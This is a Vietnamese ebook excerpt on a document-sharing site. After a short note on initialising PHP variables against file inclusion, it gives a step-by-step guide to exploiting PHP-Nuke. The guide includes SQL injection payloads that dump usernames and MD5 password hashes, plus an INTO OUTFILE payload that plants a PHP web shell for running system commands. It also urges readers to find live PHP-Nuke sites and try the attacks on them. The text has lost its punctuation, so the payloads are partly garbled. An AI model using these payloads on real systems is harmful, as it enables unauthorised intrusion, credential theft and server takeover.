TAILIEUCHUNG - Hacker Professional Ebook part 358

Tham khảo tài liệu 'hacker professional ebook part 358', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | Ta khởi tạo biến dungit null để tránh có sự gán biến từ sao @Thế này nhé giả sử bạn nhập từ form giả sử dungit http Khi vào có dạng php dungit http define ACCESSOK true dungit null . Thì out put dungit vẩn là null. Vậy file có dạng như sau php define ACCESSOK true dungit null . include . -- Cách 2 hãy config file theo recommend của php langtuhaohoa HCE Hướng dẫn khai thác lỗi của PHP Nuke PHP nuke là web portal được sử dụng rất rộng rãi trên Internet vì thế các bạn có thể dễ dàng tìm các site sử dụng PHP-Nuke để khai thác thử . Sau đây là một số lỗi gần đây nhất của PHP nuke 1. SQL Injection trong Module Search Tác giả sp3x Công bố 15 11 2005 Mức độ nguy hiểm Khai thác Nhập vào Form Search đoạn sau Code s UNION SELECT 0 user_id username user_password 0 0 0 0 0 0 FROM nuke_users Danh sách user - hash md5 password - login của PHP Nuke sẽ hiện ra . 2. Lỗi SQL Injection trong Module Your Account Tác giả sp3x Công bố 16 02 2006 Mức độ nguy hiểm ------- Kiểm tra bằng url sau http victim phpnuke dir name Your Account op new user Tại ô nick name điền như sau Code or 1 1 Các ô khác bạn điền đầy đủ . Kết quả trả về Trích ERROR Nickname already taken Điều đó có nghĩa là có dính SQL Inject tại module này. Khai thác . Sử dụng code do khai thác mà Rùa đã post . Khai thác qua URL sau Code name Your_Account op new user user_email test@ user_password test user_password2 test user name SQL a. Nếu MySQL config ko tốt cho phép OUT FILE. Có thể upload 1 shell nhỏ gọn qua khai thác sau Code name Your_Account op new user user_email test@ user_password test user_password2 test user name s UNION SELECT echo SecurityReason Shell system _GET sr FROM nuke_authors INTO OUTFILE s n n Truy cập qua URL http phpnuke html sr ls b. Khai thác Lấy User pashash md5 Code name Your_Account op new user user_email .

Đã phát hiện trình chặn quảng cáo AdBlock
Trang web này phụ thuộc vào doanh thu từ số lần hiển thị quảng cáo để tồn tại. Vui lòng tắt trình chặn quảng cáo của bạn hoặc tạm dừng tính năng chặn quảng cáo cho trang web này.